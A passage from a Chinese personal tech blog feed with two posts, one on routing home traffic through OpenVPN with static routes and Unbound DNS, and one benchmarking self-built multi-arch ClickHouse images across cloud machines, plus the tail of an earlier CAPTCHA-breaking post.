通过偷代码和抄代码,我们实现了从 0 基础,到完全放弃 AI/ML,同时在运行的过程中对这个领域有了一些了解,现在可以带着问题去正统地学习一下相关知识了。

Happy Hacking!

References

  1. lepture/captcha
  2. ypwhs/captcha_break
  3. How to break a CAPTCHA system in 15 minutes with Machine Learning
  4. Image classification from scratch
  5. Image Thresholding
]]>
使用 VPN + 静态路由构建一个稍好一些的家庭网络方案https://nova.moe/a-better-vpned-home-network/Tue, 17 May 2022 00:00:00 +0800https://nova.moe/a-better-vpned-home-network/

这是一篇关于网络改造的记录,文章很简单,搞起来很开心。

在 Tuki 的文章「利用树莓派做旁路网关实现家居全局透明科学上网实践」中,我们知道,可以通过 SS-Redir + Unbound + DNScrypt 的方式实现国内外分流并设置海外地址自动走代理,但是这个方案有一些弊端,比如:

  1. 出口 IP 单一(只有 SS Server 的出口 IP),全家常年共享一个海外出口 IP,容易被反向关联 IP -> 用户
  2. 大量的 iptables + ip_set 不好调试
  3. 容易干扰到已有的服务(比如 iptables 可能会干扰到 Wireguard)
  4. 由于使用 iptables, traceroute 等功能完全不可用

为了解决以上几个问题,有如下解决方案:

  1. 放弃单一 IP 出口,使用动态的出口方案(比如商业化的 VPN,别人的 VPS,朋友家的家宽,或者 VPNGate 等类似方案)
  2. 不使用 ss-redir + iptables,而使用 VPN + 静态路由分流
  3. 不使用 Unbound + DNSCrypt,直接使用 Unbound 回源走 VPN 的上游 DNS 服务器,当然,Unbound 还是需要区分国内域名不回源

大概结构如下图:

Make OpenVPN file

这里为了演示方便,我使用 OpenVPN 作为例子.

如果你在一个 OpenVPN 没法拨通的地区…(那你应该先自己解决一下这个问题再继续往后看)

在我们拿到一个 OpenVPN 文件后,由于我们需要在内网内共享这个隧道,所以首先需要做的是排除内网地址段,不然 VPN 通了一瞬间你的 SSH 也掉了就很尴尬,很简单,在文件中加入以下几行:

route 127.0.0.1 255.255.255.255 net_gateway
route 192.168.0.0 255.255.0.0 net_gateway
route 172.16.0.0 255.255.0.0 net_gateway

此外,为了防止连接你自己的某些(比如用来帮你连接 OpenVPN 的)服务打环,还需要排除对应的 IP

route 22.33.44.55 255.255.255.255 net_gateway

现在内网 IP 和某些特殊的 IP 不会被走到 VPN 的隧道上了,下一步需要让国内 IP 也不走这个隧道(而是使用默认网关出去),这里使用 https://github.com/fivesheep/chnroutes 来获得国内 IP 段:

wget https://raw.githubusercontent.com/fivesheep/chnroutes/master/chnroutes.py
python2 chnroutes.py

这个脚本会通过 APNIC 上中国 IP 段生成一个 routes.txt,格式类似:

route 1.0.1.0 255.255.255.0 net_gateway 5
route 1.0.2.0 255.255.254.0 net_gateway 5
route 1.0.8.0 255.255.248.0 net_gateway 5
route 1.0.32.0 255.255.224.0 net_gateway 5
route 1.1.0.0 255.255.255.0 net_gateway 5
route 1.1.2.0 255.255.254.0 net_gateway 5

2023-03-30 更新:这里请不要按照下文的说法「直接把整个文件的内容糊到 OVPN 文件的末尾」,而应该转换一下格式为 ip route add 1.0.1.0/24 via 192.168.1.1 (其中 192.168.1.1 是你的默认网关 IP),并保存为一个 sh 文件,在启动 VPN 之前启动。

这样的好处在于不会像之前的写法一样,每次(可能由于各种原因)重启 OpenVPN 的时候 OpenVPN 需要手动删除所有路由,然后再一条条添加导致启动时间很长,而且重启期间会影响国内的网络访问。

转换格式的简单 Python 代码如下:

import ipaddress

def convert_subnet_mask(mask):
    return sum([bin(int(x)).count("1") for x in mask.split(".")])

with open("routes.txt", "r") as file:
    for line in file:
        line = line.strip().split()
        ip = line[1]
        mask = convert_subnet_mask(line[2])
        cidr = str(ipaddress.IPv4Network((ip, mask)).network_address) + "/" + str(mask)
        print("ip route add " + cidr + " via 192.168.1.1" )

直接把整个文件的内容糊到 OVPN 文件的末尾即可,如果后续需要将某个 IP 不走隧道,可以参考类似的格式加入一条记录并重启 OpenVPN。

此时,OpenVPN 的文件已经制作完成,如果你和我一样使用 Ubuntu 作为漏由器的话,把这个 some-vpn.ovpn 文件放到漏由器的 /etc/openvpn/some-vpn.conf 文件即可,然后…

systemctl start openvpn@some-vpn
iptables -t nat -A POSTROUTING -o tun0 -j MASQUERADE

哦对了,记得打开 ip_forward ,在 /etc/sysctl.conf 文件里面加入:

net.ipv4.ip_forward=1

sysctl -p

这个时候,你的漏由器应该已经可以开始漏由了,我们把电脑的网关设置成漏由的 IP 测试一下看看效果:

traceroute to 1.1.1.1 (1.1.1.1), 30 hops max, 60 byte packets
 1  _gateway (192.168.233.200)  0.347 ms  0.331 ms *
 2  * * *
 3  * * *
 4  * * *
 5  * * *
 6  * * * (**.**.**.**)  236.233 ms
 7  * * * (**.**.**.**)  231.722 ms
 8  * * * (**.**.**.**)  190.069 ms
 9  cloudflare-sgp.cdn77.com (45.134.215.21)  132.932 ms *  187.737 ms
10  172.70.140.5 (172.70.140.5)  187.430 ms 162.158.168.4 (162.158.168.4)  185.075 ms  192.811 ms
11  one.one.one.one (1.1.1.1)  192.735 ms  191.321 ms  194.676 ms

如果你希望你的隧道 IP 能像 Tor 一样动态切换的话,可以考虑将多个 OpenVPN IP 加到一个域名内,然后定期重启 OpenVPN。

Unbound DNS

下一步就是安裝 DNS 啦,非常简单,可以直接参考 「利用树莓派做旁路网关实现家居全局透明科学上网实践」一文,只不过 forward-zone 这里可以直接写一个合理的服务器地址了,比如 1.1.1.1

forward-zone:
        name: "."
        forward-addr: 1.1.1.1
        forward-first: no

DHCP

在以上操作完成了之后,修改路由器 DHCP 设置,下发网关和 DNS 为这个机器的 IP 即可。

通过以上步骤,你应该已经可以得到一个:

  1. 无污染的 DNS
  2. 可以 MTR 的自动分流的网络
  3. 一个公用出口减少部分 IP 关联

监控

不要梦中开车,在建立好服务后第一时间建好监控,至少监控以下指标:

  1. 漏由器到出口的延迟
  2. 漏由器到某个公共服务固定 IP 的延迟(比如 1.1.1.1),用来对比到出口的延迟
  3. 漏由器到某个不走 VPN 的公共服务固定 IP 的延迟(比如 101.6.6.6),用来参考境内网络情况

有了监控之后我们就可以检测不同的网络质量情况如何了。

后记

用了 OpenVPN 才知道这个东西的 Overhead 是真的大,同时也深刻感受到了,即使在网络正常的地区,跨洲拨 VPN 也是一个体验极差的事情,如果你本来的出口在日本,那就不要给自己找不快活去拨个瑞典的 VPN(除非你有什么特别的隧道)。

树莓派似乎真的不适合做漏由器,routes.txt 中 8000+ 条路由的添加速度非常的慢(启动 VPN + 改路由可能至少需要 20 分钟),不知道为啥。

References & Further Reading

  1. 利用树莓派做旁路网关实现家居全局透明科学上网实践
  2. Connect to OpenVPN over Shadowsocks
  3. Setting up Ubuntu Server 16.04 as Gateway for OpenVPN Connection
]]>
ClickHouse 各版本在不同 CPU 架构上的性能差异对比https://nova.moe/performance-comparison-clickhouse/Tue, 19 Apr 2022 00:00:00 +0800https://nova.moe/performance-comparison-clickhouse/引子

需求嘛,总是一步一步,慢慢迭代到这么样子的,最初,我只是想在 ARM64 的平台上安安静静地运行 ClickHouse,然后发现官方没有提供 ARM64 的 Docker 镜像,已有的 ARM64 镜像(比如 altinity/clickhouse-server:21.12.3.32.altinitydev.armlunalabsltd/clickhouse-server:21.7.2.7-arm 找不到对应的 Dockerfile 而且版本很少),本来想自己构建一下 ClickHouse 的 ARM64 镜像却发现官方只提供 Master 分支的 Binary https://builds.clickhouse.com/master/aarch64/clickhouse

构建 Multi-Arch 的 ClickHouse

ARM 无人权这句话,是真的

为了构建 Multi-Arch 的 ClickHouse,我们需要了解官方的 ClickHouse 是怎么构建的,在阅读了官方 Dockerfile 后,我们了解到,要成功构建 ClickHouse,需要以下:

  • Clang 12
  • 高版本的 CMake
  • ninjia 等构建工具

要构建 Multi-Arch 的镜像就需要 Multi-Arch 的构建工具,由于安装 CMake 等构建工具需要手动编译,耗时很久,且是一个通用组件(应该由 GitHub Actions 这类 CI 来完成),于是我将构建工具放到了 https://github.com/knatnetwork/clickhouse-builder ,在有了构建工具之后我们就可以按照 「在 GitHub Actions 上使用多 Job 并行构建,提升 Multi-Arch 镜像制作速度」的方式进行分类构建,相关的 Workflow 类似如下:

build-arm64-image:
  name: Build v${{ github.event.inputs.clickhouse-version }} ARM64 Image
  runs-on: [self-hosted,arm64]
  steps:
    - uses: actions/checkout@v3

    - name: Clone Clickhouse and submodules
      run: |
        git clone https://github.com/ClickHouse/ClickHouse.git
        cd ClickHouse && git checkout v${{ github.event.inputs.clickhouse-version }} && git submodule update --init --recursive        

    - name: Login to Docker Hub
      uses: docker/login-action@v1
      with:
        username: knatnetwork
        password: ${{ secrets.DOCKERHUB_PASSWD }}

    - name: Set up QEMU
      uses: docker/setup-qemu-action@v1

    - name: Set up Docker Buildx
      uses: docker/setup-buildx-action@v1

    - name: Build and push latest images
      uses: docker/build-push-action@v2
      with:
        context: .
        platforms: linux/arm64
        push: true
        tags: |
                    knatnetwork/clickhouse-arm64:${{ github.event.inputs.clickhouse-version }}

关于构建的 Dockerfile 可以直接参考:https://github.com/knatnetwork/clickhouse-server/blob/master/Dockerfile

这里由于 GitHub Actions 机器的配置过于拉跨,6 小时内都很难构建完成 AMD64 版本的 Binary,所以只能使用 Self-hosted 的机器。

Self-Hosted Runner

为了快速构建 ClickHouse,这里我使用了两类机器来构建:

  • ARM64: AWS a1.metal
  • AMD64: Hetzner CPX51

由于有了之前开源的 https://github.com/knatnetwork/github-runner ,要快速水平扩展 Runner 只需要大量开机器,然后用 Ansible 把 docker-compose.ymlconfig.json 文件推上去启动即可,很快,我们就有了一些 Runner:

很快,我的钱包也瘪了,AWS 一个晚上花了 100+ USD

不过问题不大,钱已经花了,经过一个晚上的持续运行,我们成功地构建了 ClickHouse 上从最新 Tag 到 21.7 之间的所有版本(21.7 版本构建会报错,后文会涉及),准确来说,构建了如下镜像:

knatnetwork/clickhouse-server:22.2.3.5-stable,knatnetwork/clickhouse-server:22.2.2.1-stable,knatnetwork/clickhouse-server:22.1.4.30-stable,knatnetwork/clickhouse-server:22.1.3.7-stable,knatnetwork/clickhouse-server:22.1.2.2-stable,knatnetwork/clickhouse-server:21.12.4.1-stable,knatnetwork/clickhouse-server:21.12.3.32-stable,knatnetwork/clickhouse-server:21.12.2.17-stable,knatnetwork/clickhouse-server:21.11.11.1-stable,knatnetwork/clickhouse-server:21.11.10.1-stable,knatnetwork/clickhouse-server:21.11.9.1-stable,knatnetwork/clickhouse-server:21.11.8.4-stable,knatnetwork/clickhouse-server:21.11.7.9-stable,knatnetwork/clickhouse-server:21.11.6.7-stable,knatnetwork/clickhouse-server:21.11.5.33-stable,knatnetwork/clickhouse-server:21.11.4.14-stable,knatnetwork/clickhouse-server:21.11.3.6-stable,knatnetwork/clickhouse-server:21.11.2.2-stable,knatnetwork/clickhouse-server:21.10.6.2-stable,knatnetwork/clickhouse-server:21.10.5.3-stable,knatnetwork/clickhouse-server:21.10.4.26-stable,knatnetwork/clickhouse-server:21.10.3.9-stable,knatnetwork/clickhouse-server:21.10.2.15-stable,knatnetwork/clickhouse-server:21.9.6.24-stable,knatnetwork/clickhouse-server:21.9.5.16-stable,knatnetwork/clickhouse-server:21.9.4.35-stable,knatnetwork/clickhouse-server:21.9.3.30-stable,knatnetwork/clickhouse-server:21.9.2.17-stable,knatnetwork/clickhouse-server:21.8.15.7-lts,knatnetwork/clickhouse-server:21.8.14.5-lts,knatnetwork/clickhouse-server:21.8.13.6-lts,knatnetwork/clickhouse-server:21.8.12.29-lts,knatnetwork/clickhouse-server:21.8.11.4-lts,knatnetwork/clickhouse-server:21.8.10.19-lts,knatnetwork/clickhouse-server:21.8.9.13-lts,knatnetwork/clickhouse-server:21.8.8.29-lts,knatnetwork/clickhouse-server:21.8.7.22-lts,knatnetwork/clickhouse-server:21.8.6.15-lts,knatnetwork/clickhouse-server:21.8.5.7-lts,knatnetwork/clickhouse-server:21.8.4.51-lts,knatnetwork/clickhouse-server:21.8.3.44-lts

而且都是 Multi-Arch 的,地址在: https://hub.docker.com/r/knatnetwork/clickhouse-server

Benchmark

花了这么多钱贡献了这么多镜像,总希望可以做点测试,由于我代码写的不行,又没有搞测试的经验,暂时只想到了以下两个测试点:

  • 这么多不同的版本之间是否会有性能差异(横向比较)
  • 对于不同的类型的机器而言,他们的性能差异是如何的(纵向比较)

Benchmark Platform

由于我不懂 SQL 也对 ClickHouse 一窍不通,所以这里参考了 ClickHouse 官方的测试方式:(官方的展示:https://clickhouse.com/benchmark/hardware/),

数据集采用了一个公开的数据集,地址在:https://datasets.clickhouse.com/hits/partitions/hits_100m_obfuscated_v1.tar.xz, 总共 100000000 条数据,解压后 16G,测试的方式为用 ClickHouse 官方提供的 43 条 SQL 语句进行测试(可能这 43 条语句覆盖了大部分使用场景)

SELECT count() FROM hits_100m_obfuscated;
SELECT count() FROM hits_100m_obfuscated WHERE AdvEngineID != 0;
SELECT sum(AdvEngineID), count(), avg(ResolutionWidth) FROM hits_100m_obfuscated ;
SELECT sum(UserID) FROM hits_100m_obfuscated ;
SELECT uniq(UserID) FROM hits_100m_obfuscated ;
SELECT uniq(SearchPhrase) FROM hits_100m_obfuscated ;
SELECT min(EventDate), max(EventDate) FROM hits_100m_obfuscated ;
SELECT AdvEngineID, count() FROM hits_100m_obfuscated WHERE AdvEngineID != 0 GROUP BY AdvEngineID ORDER BY count() DESC;
SELECT RegionID, uniq(UserID) AS u FROM hits_100m_obfuscated GROUP BY RegionID ORDER BY u DESC LIMIT 10;
SELECT RegionID, sum(AdvEngineID), count() AS c, avg(ResolutionWidth), uniq(UserID) FROM hits_100m_obfuscated GROUP BY RegionID ORDER BY c DESC LIMIT 10;
SELECT MobilePhoneModel, uniq(UserID) AS u FROM hits_100m_obfuscated WHERE MobilePhoneModel != '' GROUP BY MobilePhoneModel ORDER BY u DESC LIMIT 10;
SELECT MobilePhone, MobilePhoneModel, uniq(UserID) AS u FROM hits_100m_obfuscated WHERE MobilePhoneModel != '' GROUP BY MobilePhone, MobilePhoneModel ORDER BY u DESC LIMIT 10;
SELECT SearchPhrase, count() AS c FROM hits_100m_obfuscated WHERE SearchPhrase != '' GROUP BY SearchPhrase ORDER BY c DESC LIMIT 10;
SELECT SearchPhrase, uniq(UserID) AS u FROM hits_100m_obfuscated WHERE SearchPhrase != '' GROUP BY SearchPhrase ORDER BY u DESC LIMIT 10;
SELECT SearchEngineID, SearchPhrase, count() AS c FROM hits_100m_obfuscated WHERE SearchPhrase != '' GROUP BY SearchEngineID, SearchPhrase ORDER BY c DESC LIMIT 10;
SELECT UserID, count() FROM hits_100m_obfuscated GROUP BY UserID ORDER BY count() DESC LIMIT 10;
SELECT UserID, SearchPhrase, count() FROM hits_100m_obfuscated GROUP BY UserID, SearchPhrase ORDER BY count() DESC LIMIT 10;
SELECT UserID, SearchPhrase, count() FROM hits_100m_obfuscated GROUP BY UserID, SearchPhrase LIMIT 10;
SELECT UserID, toMinute(EventTime) AS m, SearchPhrase, count() FROM hits_100m_obfuscated GROUP BY UserID, m, SearchPhrase ORDER BY count() DESC LIMIT 10;
SELECT UserID FROM hits_100m_obfuscated WHERE UserID = 12345678901234567890;
SELECT count() FROM hits_100m_obfuscated WHERE URL LIKE '%metrika%';
SELECT SearchPhrase, any(URL), count() AS c FROM hits_100m_obfuscated WHERE URL LIKE '%metrika%' AND SearchPhrase != '' GROUP BY SearchPhrase ORDER BY c DESC LIMIT 10;
SELECT SearchPhrase, any(URL), any(Title), count() AS c, uniq(UserID) FROM hits_100m_obfuscated WHERE Title LIKE '%Яндекс%' AND URL NOT LIKE '%.yandex.%' AND SearchPhrase != '' GROUP BY SearchPhrase ORDER BY c DESC LIMIT 10;
SELECT * FROM hits_100m_obfuscated WHERE URL LIKE '%metrika%' ORDER BY EventTime LIMIT 10;
SELECT SearchPhrase FROM hits_100m_obfuscated WHERE SearchPhrase != '' ORDER BY EventTime LIMIT 10;
SELECT SearchPhrase FROM hits_100m_obfuscated WHERE SearchPhrase != '' ORDER BY SearchPhrase LIMIT 10;
SELECT SearchPhrase FROM hits_100m_obfuscated WHERE SearchPhrase != '' ORDER BY EventTime, SearchPhrase LIMIT 10;
SELECT CounterID, avg(length(URL)) AS l, count() AS c FROM hits_100m_obfuscated WHERE URL != '' GROUP BY CounterID HAVING c > 100000 ORDER BY l DESC LIMIT 25;
SELECT domainWithoutWWW(Referer) AS key, avg(length(Referer)) AS l, count() AS c, any(Referer) FROM hits_100m_obfuscated WHERE Referer != '' GROUP BY key HAVING c > 100000 ORDER BY l DESC LIMIT 25;
SELECT sum(ResolutionWidth), sum(ResolutionWidth + 1), sum(ResolutionWidth + 2), sum(ResolutionWidth + 3), sum(ResolutionWidth + 4), sum(ResolutionWidth + 5), sum(ResolutionWidth + 6), sum(ResolutionWidth + 7), sum(ResolutionWidth + 8), sum(ResolutionWidth + 9), sum(ResolutionWidth + 10), sum(ResolutionWidth + 11), sum(ResolutionWidth + 12), sum(ResolutionWidth + 13), sum(ResolutionWidth + 14), sum(ResolutionWidth + 15), sum(ResolutionWidth + 16), sum(ResolutionWidth + 17), sum(ResolutionWidth + 18), sum(ResolutionWidth + 19), sum(ResolutionWidth + 20), sum(ResolutionWidth + 21), sum(ResolutionWidth + 22), sum(ResolutionWidth + 23), sum(ResolutionWidth + 24), sum(ResolutionWidth + 25), sum(ResolutionWidth + 26), sum(ResolutionWidth + 27), sum(ResolutionWidth + 28), sum(ResolutionWidth + 29), sum(ResolutionWidth + 30), sum(ResolutionWidth + 31), sum(ResolutionWidth + 32), sum(ResolutionWidth + 33), sum(ResolutionWidth + 34), sum(ResolutionWidth + 35), sum(ResolutionWidth + 36), sum(ResolutionWidth + 37), sum(ResolutionWidth + 38), sum(ResolutionWidth + 39), sum(ResolutionWidth + 40), sum(ResolutionWidth + 41), sum(ResolutionWidth + 42), sum(ResolutionWidth + 43), sum(ResolutionWidth + 44), sum(ResolutionWidth + 45), sum(ResolutionWidth + 46), sum(ResolutionWidth + 47), sum(ResolutionWidth + 48), sum(ResolutionWidth + 49), sum(ResolutionWidth + 50), sum(ResolutionWidth + 51), sum(ResolutionWidth + 52), sum(ResolutionWidth + 53), sum(ResolutionWidth + 54), sum(ResolutionWidth + 55), sum(ResolutionWidth + 56), sum(ResolutionWidth + 57), sum(ResolutionWidth + 58), sum(ResolutionWidth + 59), sum(ResolutionWidth + 60), sum(ResolutionWidth + 61), sum(ResolutionWidth + 62), sum(ResolutionWidth + 63), sum(ResolutionWidth + 64), sum(ResolutionWidth + 65), sum(ResolutionWidth + 66), sum(ResolutionWidth + 67), sum(ResolutionWidth + 68), sum(ResolutionWidth + 69), sum(ResolutionWidth + 70), sum(ResolutionWidth + 71), sum(ResolutionWidth + 72), sum(ResolutionWidth + 73), sum(ResolutionWidth + 74), sum(ResolutionWidth + 75), sum(ResolutionWidth + 76), sum(ResolutionWidth + 77), sum(ResolutionWidth + 78), sum(ResolutionWidth + 79), sum(ResolutionWidth + 80), sum(ResolutionWidth + 81), sum(ResolutionWidth + 82), sum(ResolutionWidth + 83), sum(ResolutionWidth + 84), sum(ResolutionWidth + 85), sum(ResolutionWidth + 86), sum(ResolutionWidth + 87), sum(ResolutionWidth + 88), sum(ResolutionWidth + 89) FROM hits_100m_obfuscated;
SELECT SearchEngineID, ClientIP, count() AS c, sum(Refresh), avg(ResolutionWidth) FROM hits_100m_obfuscated WHERE SearchPhrase != '' GROUP BY SearchEngineID, ClientIP ORDER BY c DESC LIMIT 10;
SELECT WatchID, ClientIP, count() AS c, sum(Refresh), avg(ResolutionWidth) FROM hits_100m_obfuscated WHERE SearchPhrase != '' GROUP BY WatchID, ClientIP ORDER BY c DESC LIMIT 10;
SELECT WatchID, ClientIP, count() AS c, sum(Refresh), avg(ResolutionWidth) FROM hits_100m_obfuscated GROUP BY WatchID, ClientIP ORDER BY c DESC LIMIT 10;
SELECT URL, count() AS c FROM hits_100m_obfuscated GROUP BY URL ORDER BY c DESC LIMIT 10;
SELECT 1, URL, count() AS c FROM hits_100m_obfuscated GROUP BY 1, URL ORDER BY c DESC LIMIT 10;
SELECT ClientIP AS x, x - 1, x - 2, x - 3, count() AS c FROM hits_100m_obfuscated GROUP BY x, x - 1, x - 2, x - 3 ORDER BY c DESC LIMIT 10;
SELECT URL, count() AS PageViews FROM hits_100m_obfuscated WHERE CounterID = 62 AND EventDate >= '2013-07-01' AND EventDate <= '2013-07-31' AND NOT DontCountHits AND NOT Refresh AND notEmpty(URL) GROUP BY URL ORDER BY PageViews DESC LIMIT 10;
SELECT Title, count() AS PageViews FROM hits_100m_obfuscated WHERE CounterID = 62 AND EventDate >= '2013-07-01' AND EventDate <= '2013-07-31' AND NOT DontCountHits AND NOT Refresh AND notEmpty(Title) GROUP BY Title ORDER BY PageViews DESC LIMIT 10;
SELECT URL, count() AS PageViews FROM hits_100m_obfuscated WHERE CounterID = 62 AND EventDate >= '2013-07-01' AND EventDate <= '2013-07-31' AND NOT Refresh AND IsLink AND NOT IsDownload GROUP BY URL ORDER BY PageViews DESC LIMIT 1000;
SELECT TraficSourceID, SearchEngineID, AdvEngineID, ((SearchEngineID = 0 AND AdvEngineID = 0) ? Referer : '') AS Src, URL AS Dst, count() AS PageViews FROM hits_100m_obfuscated WHERE CounterID = 62 AND EventDate >= '2013-07-01' AND EventDate <= '2013-07-31' AND NOT Refresh GROUP BY TraficSourceID, SearchEngineID, AdvEngineID, Src, Dst ORDER BY PageViews DESC LIMIT 1000;
SELECT URLHash, EventDate, count() AS PageViews FROM hits_100m_obfuscated WHERE CounterID = 62 AND EventDate >= '2013-07-01' AND EventDate <= '2013-07-31' AND NOT Refresh AND TraficSourceID IN (-1, 6) AND RefererHash = halfMD5('http://example.ru/') GROUP BY URLHash, EventDate ORDER BY PageViews DESC LIMIT 100;
SELECT WindowClientWidth, WindowClientHeight, count() AS PageViews FROM hits_100m_obfuscated WHERE CounterID = 62 AND EventDate >= '2013-07-01' AND EventDate <= '2013-07-31' AND NOT Refresh AND NOT DontCountHits AND URLHash = halfMD5('http://example.ru/') GROUP BY WindowClientWidth, WindowClientHeight ORDER BY PageViews DESC LIMIT 10000;
SELECT toStartOfMinute(EventTime) AS Minute, count() AS PageViews FROM hits_100m_obfuscated WHERE CounterID = 62 AND EventDate >= '2013-07-01' AND EventDate <= '2013-07-02' AND NOT Refresh AND NOT DontCountHits GROUP BY Minute ORDER BY Minute;

为了快速在某一特定机型上完成所有版本的测试,我还自己做了一个 driver.py,大概的流程就是,对于每一个版本的镜像:

  • 输出 docker-compose.yml 并拉镜像+使用特定版本启动
  • 针对每个 SQL 语句跑三次取平均时间
  • 上报测试数据到 MongoDB Atlas(Free Tier)
  • 停止 ClickHouse 并删除当前镜像

对于每个机器的测试会输出一个类似如下的 JSON 格式的报告方便后续查询和展示:


{
  "clickhouse_commit_date": "2022-02-17T10:21:02Z",
  "clickhouse_commit_id": "97317e8bb51d2723b539b7863dd6471a68b11d01",
  "clickhouse_version": "22.2.3.5-stable",
  "date": "2022-04-18",
  "image_name": "knatnetwork/clickhouse-server:22.2.3.5-stable",
  "machine_arch": "ARM64",
  "machine_type": "c6g.2xlarge",
  "machine_vendor": "AWS",
  "results": [
      {
          "query": "SELECT count() FROM hits_100m_obfuscated;",
          "time": 0.0016631285349527996
      },
  ]
}

Machines

关于机器信息,之前看到过一个文章关于 AWS 上 AMD64 和 ARM64 性价比的对比,文章地址在: Evaluating Graviton 2 for data-intensive applications: an Arm vs Intel comparison 所以打算借这个机会对比一下配置相仿的 ARM64 和 AMD64 的机器的情况,使用的机器如下:

  • Hetzner 的 CPX41(8Core,16G),价格 22.9EUR/mo
  • AWS 的 c5.2xlarge(8Core,16G,100G IO2 磁盘),折算价格 244.8USD/mo
  • AWS 的 c6g.2xlarge(8Core,16G,100G IO2 磁盘),折算价格 195.84USD/mo
  • OracleCloud 的 ARM64 机器(4Core,24G),白嫖的 BennyThink 的,折算价格 0USD/mo
  • Vultr CPU Optmized General Purpose 的机器(8Core,16G)白嫖的 BennyThink 的,折算价格 0USD/mo,实际价格 160USD/mo
  • Vultr BareMetal 的机器(4Core8Threads,16G)白嫖的 BennyThink 的,折算价格 0USD/mo,实际价格 120USD/mo

为了简单考虑,我直接把 43 个 Query 的总时间作为 Y 轴,版本号从低到高作为 X 轴,每一条线代表一个机器,作图(数值越低表示查询速度越快):

为此我做了一个站点: https://clickperf.knat.network/ ,有兴趣的话大家可以去看看,上面提供原始数据下载。

从图中可以得到以下信息:

  • 配置都为 8Core/16G 的 ARM64 c6g.2xlarge 机器在这个测试上表现比 AMD64 c5.2xlarge 的机器好
  • 在三个特定版本 (21.12.2.17-stable,21.11.11.1-stable,21.11.10.1-stable) 上,ARM64 的机器性能有显著提升,AMD64 的机器未观察到类似的提升,原因不明
  • 价格为 22.9EUR/mo 的 CPX41 和价格为 195.84USD/mo 的 c6g.2xlarge 测试性能相仿
  • 价格为 120USD/mo 的 Vultr Baremetal 和价格为 244.8USD/mo 的 c5.2xlarge 测试性能相仿
  • Vultr 的 CPU Optmized General Purpose 机器性能抖动较大
  • Vultr 的 Baremetal 机器性能抖动非常小
  • 在 ClickHouse 的各个 Release 中,这 43 个 Query 的总时间相对稳定
  • AWS 机器的性价比是真的低
  • Vultr 机器的性能抖动挺大

另外在跑 Benchmark 的过程中,发现 ARM64 的机器普遍可以用满所有的 CPU 核心,而 AMD64 的机器除了 Hetzner 以外都没法用满所有核心(比如一直只有某 4 个核心是满载,其余核心 30% 左右负载), BennyThink 怀疑是被宿主机限制,但是这个说法暂时没法得到佐证,也有可能是我构建的镜像有啥问题。

Afterwords

在这里我想非常感谢 BennyThink 大佬给我提供了许多机器用于测试,没有 TA 的帮助,这个测试会失去许多重要数据,也没法因此发现 Vultr 其实也挺拉跨的

也要感谢 purelind 大佬给我提供了 Oracle 帐号和一些测试上的指导。

还要感谢某个神秘人士帮我制作了 https://clickperf.knat.network/ 并报销了 AWS 账单上的开销,并让我深刻体会了——「没有钱,就没法做科研」的道理。


Appendix

DB::Exception: Memory limit (total) exceeded

在测试中某些请求会失败,然后报错信息类似:

DB::Exception: Received from localhost:9000, 127.0.0.1. 
DB::Exception: Memory limit for query exceeded: would use 9.31 GiB  attempt to allocate chunk of 1048576 bytes , maximum: 9.31 GiB: 

这种时候需要在 clickhouse-user-config.xml 中加入一个 max_memory_usage,类似如下:

<yandex>
    <profiles>
        <default>
            <max_memory_usage>1280000000000</max_memory_usage>
            <log_queries>0</log_queries>
            <log_query_threads>0</log_query_threads>
        </default>
    </profiles>
</yandex>

21.7.x 版本报错

可以參考:https://github.com/knatnetwork/clickhouse-server/runs/6053314472?check_suite_focus=true

#12 11.85 -- SYSTEM_LIBS zlib;ssl;crypto
#12 11.87 -- Dynamic column API support: ON
#12 11.88 -- SYSTEM processor: x86_64
#12 11.88 CMake Error at contrib/mariadb-connector-c/cmake/ConnectorName.cmake:30 (ENDMACRO):
#12 11.88   Flow control statements are not properly nested.
#12 11.88 Call Stack (most recent call first):
#12 11.88   contrib/mariadb-connector-c/CMakeLists.txt:428 (INCLUDE)
#12 11.88 
#12 11.88 
#12 11.88 -- Configuring incomplete, errors occurred!
#12 11.88 See also "/root/ClickHouse/build/CMakeFiles/CMakeOutput.log".
#12 11.88 See also "/root/ClickHouse/build/CMakeFiles/CMakeError.log".
#12 ERROR: process "/bin/sh -c cd /root/ClickHouse && mkdir build && cd build && cmake .. && ninja" did not complete successfully: exit code: 1
------
 > [buildtime 4/5] RUN cd /root/ClickHouse && mkdir build && cd build && cmake .. && ninja:
#12 11.88 -- SYSTEM processor: x86_64
#12 11.88 CMake Error at contrib/mariadb-connector-c/cmake/ConnectorName.cmake:30 (ENDMACRO):
#12 11.88   Flow control statements are not properly nested.
#12 11.88 Call Stack (most recent call first):
#12 11.88   contrib/mariadb-connector-c/CMakeLists.txt:428 (INCLUDE)
#12 11.88 
#12 11.88 
#12 11.88 -- Configuring incomplete, errors occurred!
#12 11.88 See also "/root/ClickHouse/build/CMakeFiles/CMakeOutput.log".
#12 11.88 See also "/root/ClickHouse/build/CMakeFiles/CMakeError.log".
------

以下记录了用于测试的机器的 CPU 信息

CPU 信息

Vultr Bare Metal

Architecture:                    x86_64
CPU op-mode(s):                  32-bit, 64-bit
Byte Order:                      Little Endian
Address sizes:                   39 bits physical, 48 bits virtual
CPU(s):                          8
On-line CPU(s) list:             0-7
Thread(s) per core:              2
Core(s) per socket:              4
Socket(s):                       1
NUMA node(s):                    1
Vendor ID:                       GenuineIntel
CPU family:                      6
Model:                           158
Model name:                      Intel(R) Xeon(R) CPU E3-1270 v6 @ 3.80GHz
Stepping:                        9
CPU MHz:                         800.337
CPU max MHz:                     4200.0000
CPU min MHz:                     800.0000
BogoMIPS:                        7599.80
Virtualization:                  VT-x
L1d cache:                       128 KiB
L1i cache:                       128 KiB
L2 cache:                        1 MiB
L3 cache:                        8 MiB
NUMA node0 CPU(s):               0-7

Vultr CPU Optmized General Purpose

Architecture:                    x86_64
CPU op-mode(s):                  32-bit, 64-bit
Byte Order:                      Little Endian
Address sizes:                   40 bits physical, 48 bits virtual
CPU(s):                          8
On-line CPU(s) list:             0-7
Thread(s) per core:              2
Core(s) per socket:              4
Socket(s):                       1
NUMA node(s):                    1
Vendor ID:                       AuthenticAMD
CPU family:                      23
Model:                           49
Model name:                      AMD EPYC-Rome Processor
Stepping:                        0
CPU MHz:                         1996.249
BogoMIPS:                        3992.49
Hypervisor vendor:               KVM
Virtualization type:             full
L1d cache:                       128 KiB
L1i cache:                       128 KiB
L2 cache:                        2 MiB
L3 cache:                        16 MiB
NUMA node0 CPU(s):               0-7

CPX41

Architecture:                    x86_64
CPU op-mode(s):                  32-bit, 64-bit
Byte Order:                      Little Endian
Address sizes:                   40 bits physical, 48 bits virtual
CPU(s):                          8
On-line CPU(s) list:             0-7
Thread(s) per core:              1
